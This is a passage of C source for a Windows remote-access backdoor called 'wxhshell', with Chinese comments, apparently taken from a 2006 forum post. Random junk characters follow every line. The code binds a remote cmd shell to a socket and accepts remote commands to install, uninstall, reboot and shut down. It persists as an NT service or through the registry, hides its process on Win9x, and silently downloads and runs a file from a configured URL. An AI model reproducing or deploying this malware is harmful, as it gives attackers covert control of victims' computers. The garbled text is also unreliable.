  .Mu]uQUF  
  // 帮助 F=l.2t*9  
  case '?': { Xl\yOMfp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6 ~d\+aV  
    break; yOr5kWqX  
  } >a$b4 pvh  
  // 安装 ,J ZM%f  
  case 'i': { 2X!!RS>qg  
    if(Install()) I^itlQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BOf)27)  
    else IM$I=5y e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C3GI?| b  
    break; }j6<S-s~  
    } ZKco  
  // 卸载 _ pKWDMB$z  
  case 'r': { m. DC  
    if(Uninstall()) JDj^7\`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $3D#U^7i  
    else Bn?MlG;aA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3E]IEf  
    break; $G@^!(  
    } 71inHg  
  // 显示 wxhshell 所在路径 "R9^X3;  
  case 'p': { {u_2L_  
    char svExeFile[MAX_PATH]; 19# A7  
    strcpy(svExeFile,"\n\r"); XbMAcgS  
      strcat(svExeFile,ExeFile); ' &j]~m  
        send(wsh,svExeFile,strlen(svExeFile),0); >S=,ype~G  
    break; 9d1 G u"  
    } 7UA|G2Zr  
  // 重启 j3yz"-53e  
  case 'b': { 'W]oQLD^R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h(Ccm44  
    if(Boot(REBOOT)) 8j<+ ' R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9o|#R&0  
    else { QQIU5  
    closesocket(wsh); :dkBr@u96O  
    ExitThread(0); k>mqKzT0$+  
    } CKgbb4;<m[  
    break; -|x YT+?%  
    } OJ2I (8P  
  // 关机 bJ6@ B<  
  case 'd': { bhg OLh#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xsit4Ma  
    if(Boot(SHUTDOWN)) ?7CHHk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R4P$zB_<2  
    else { DA -W =Cc  
    closesocket(wsh); O| zLD  
    ExitThread(0); /aHx'TG  
    } h&$,mbEoI  
    break; 1l`$.k  
    } W99Hq1W;r  
  // 获取shell <;.->73E  
  case 's': { PZsq9;P$  
    CmdShell(wsh); I7/X6^/}  
    closesocket(wsh); /'g"Ys?3  
    ExitThread(0); y.m;4((  
    break; S+Vsy(  
  } Yiy|^j  
  // 退出 sg!* %*XQ  
  case 'x': { P<GHX~nB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %*`yd.L0W  
    CloseIt(wsh); %V&I${z  
    break; d?_LNSDo  
    } jtF et{  
  // 离开 {P>%l\?  
  case 'q': { XOi[[G}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m"RE[dQ  
    closesocket(wsh); >i IUS  
    WSACleanup(); #w:6<$  
    exit(1); [d~ 25  
    break; Y%iimbBY|  
        } BpQ/$?5E"  
  } 875BD U  
  } '#faNVPABh  
7gY^aMW  
  // 提示信息 d[Lr`=L;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,) JSX o  
} %B{NH~  
  } &?@5G  
wBK%=7  
  return; uRu)iBd D  
} M$Of.  
)-4xI4  
// shell模块句柄 ;4rTm@6  
int CmdShell(SOCKET sock)  ZD'fEqM  
{ |+0XO?,sZ  
STARTUPINFO si; F&I ;E i  
ZeroMemory(&si,sizeof(si)); .0zNt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "p{cz(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _hb@O2f  
PROCESS_INFORMATION ProcessInfo; ;uazQyo6  
char cmdline[]="cmd"; t%f6P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wWNHZ v&  
  return 0; |,wp@)e6h  
} z nc'  
T)NnWEB  
// 自身启动模式 "RF<i3{S  
int StartFromService(void) j7M[]/|  
{ &]?X"K  
typedef struct G$"$k=[  
{ '!6Py1i  
  DWORD ExitStatus; L)LW5%.6  
  DWORD PebBaseAddress; *4tJ|m6"Y6  
  DWORD AffinityMask; CNiUHUD  
  DWORD BasePriority; o?$B<Cb"  
  ULONG UniqueProcessId; &4ScwK:  
  ULONG InheritedFromUniqueProcessId; = NHzh!  
}   PROCESS_BASIC_INFORMATION; =(~UK9`  
:z!N_]t  
PROCNTQSIP NtQueryInformationProcess; 4,|A\dXE  
Evn=3Tw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :uD*Q/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #*<*|AwoW|  
AGN5=K*D  
  HANDLE             hProcess; 8C{mV^cn~  
  PROCESS_BASIC_INFORMATION pbi; =+qtk(p  
V~uH)IMkh7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]$>O--  
  if(NULL == hInst ) return 0; i: ZL0nH-  
jB17]OCN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H -sJt:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '>]9efJA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y2U^7VrO  
wf<=r W'  
  if (!NtQueryInformationProcess) return 0; rK%A=Q  
'$3]U5KOwK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); exqFwmhh  
  if(!hProcess) return 0; WmRx_d_  
eL-9fld /n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 65ctxxWv1  
9aR-kcvJIJ  
  CloseHandle(hProcess); 9$z|kwU  
E,[@jxP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); na &?Cw  
if(hProcess==NULL) return 0; AAr[xo iYp  
3YG[~o|4  
HMODULE hMod; Dg$Z5`%k8  
char procName[255]; . _5g<aw;  
unsigned long cbNeeded; Z. ))=w6G  
VV*Z5U@b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }jQxwi)  
"i\rhX  
  CloseHandle(hProcess); 93-UA.+g  
) /kf  
if(strstr(procName,"services")) return 1; // 以服务启动 ' {L5 3cH=  
S`Jo^!VJ4  
  return 0; // 注册表启动 :)UF#  
} TU-4+o%;  
+ou ]|  
// 主模块 s:y~vd(Vi  
int StartWxhshell(LPSTR lpCmdLine) b3G4cO;t;  
{ iINd*eXb^  
  SOCKET wsl; Ny@CP}  
BOOL val=TRUE; G`B e~NU  
  int port=0; ;/ iBP2  
  struct sockaddr_in door; [4NJ]r M%  
FYI*44E  
  if(wscfg.ws_autoins) Install(); hE41$9?TJ  
F_9eju^|  
port=atoi(lpCmdLine); "F(LTppy  
i(^&ZmG  
if(port<=0) port=wscfg.ws_port; kCXQHX  
 :1q)l  
  WSADATA data; s4@dEK8W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2F0@M|'  
W0X/&v,k*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {8)Pke  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .{` :  
  door.sin_family = AF_INET; z+K-aj w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iNX%Zk[  
  door.sin_port = htons(port); h01 HX  
Fb&Xy{kt1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e`pYO]Z  
closesocket(wsl); x=g=e <_  
return 1; 7~@9=e8G  
} ^t&S?_DSZ  
Q k e8BRBn  
  if(listen(wsl,2) == INVALID_SOCKET) { }pJ6CW  
closesocket(wsl); t6GL/M4  
return 1; )[d?&GK  
} gOpi>  
  Wxhshell(wsl); v+.  n9  
  WSACleanup(); *9#6N2J$M  
'D ,efTq  
return 0; d NQ?8P-&  
Yj/aa0Ka4  
} *=Ko"v }  
%#xdD2oN  
// 以NT服务方式启动 t$NK{Mw5_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /gkHV3}fu  
{ e>zCzKK  
DWORD   status = 0; EZy:_xjZ  
  DWORD   specificError = 0xfffffff; AJ_''%$I3:  
Zj@k3y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Arg604V3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~)\9f 1O{^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A"(XrL-pV  
  serviceStatus.dwWin32ExitCode     = 0; 9yU(ei:GUo  
  serviceStatus.dwServiceSpecificExitCode = 0; :6k8\{^9"D  
  serviceStatus.dwCheckPoint       = 0; RRW/.y  
  serviceStatus.dwWaitHint       = 0; <L4.*  
^I=W<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;D}8acQ  
  if (hServiceStatusHandle==0) return; {MP8B'r-6  
lSGtbSyDI  
status = GetLastError(); toD v~v  
  if (status!=NO_ERROR) "gD]K=  
{ E8_j?X1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kD&% 7Vz  
    serviceStatus.dwCheckPoint       = 0; ^P4q6BW  
    serviceStatus.dwWaitHint       = 0; ,/?7sHK-0  
    serviceStatus.dwWin32ExitCode     = status; Y>Oh]?  
    serviceStatus.dwServiceSpecificExitCode = specificError; K4 \{G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rI/;L<c  
    return; ~#z8Q{!O  
  } b@GL*Z  
Af~>}-`a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ObK-<kGcB  
  serviceStatus.dwCheckPoint       = 0; ZY_aE  
  serviceStatus.dwWaitHint       = 0; !i >&z?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (x;Uy  
} :@mBSE/  
-~ w5 yd  
// 处理NT服务事件,比如:启动、停止 8+HXGqcv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d']CBoK  
{ <>=A6  
switch(fdwControl) }e/#dMEi  
{ v5 |XyN"  
case SERVICE_CONTROL_STOP:  F#0y0|  
  serviceStatus.dwWin32ExitCode = 0; m2%OX"#e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =ttvC"4?  
  serviceStatus.dwCheckPoint   = 0; G~z=,72  
  serviceStatus.dwWaitHint     = 0; K90wX1&  
  { PxuE(n V[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e"^ /xF  
  } xEW >7}+\  
  return; <c` + f PW  
case SERVICE_CONTROL_PAUSE: 1~J:hjKQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DdU T"%  
  break; YkOl@l$D  
case SERVICE_CONTROL_CONTINUE: ]H ze  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sz!mn  
  break; S&yKi  
case SERVICE_CONTROL_INTERROGATE: .b.p yVk  
  break; `^:>sU  
}; r#8t @W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %y7&~me  
} .A(QqL>  
 Ptt  
// 标准应用程序主函数 (d9G`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 54X=58Q  
{ *$%ch=  
ld*W\  
// 获取操作系统版本 h/'b(9fS  
OsIsNt=GetOsVer(); CcGE4BB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sBN"eHg  
QcW6o,  
  // 从命令行安装 mP!=&u fcU  
  if(strpbrk(lpCmdLine,"iI")) Install(); kGz0`8U Ru  
Ox| ?  
  // 下载执行文件 O4)'78ATp  
if(wscfg.ws_downexe) { N>zpx U {  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Eo\pNz#)  
  WinExec(wscfg.ws_filenam,SW_HIDE); /Bt+Ov3k  
} fGZZ['E  
m`;dFL7"E  
if(!OsIsNt) { (]_smsok  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^bD)Tg5K  
HideProc(); *Z9Rl>  
StartWxhshell(lpCmdLine); DGc5Lol~  
} hSl6 X3W  
else O V"5:){  
  if(StartFromService()) AVn?86ri  
  // 以服务方式启动 $Ph T:  
  StartServiceCtrlDispatcher(DispatchTable); =3~5I&  
else 1 N{unS  
  // 普通方式启动 %`]&c)&#Z  
  StartWxhshell(lpCmdLine); c @U\d<{w  
W"{:|'/v  
return 0; i1c z+}  
}
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只看该作者 1 发表于: 2006-10-10
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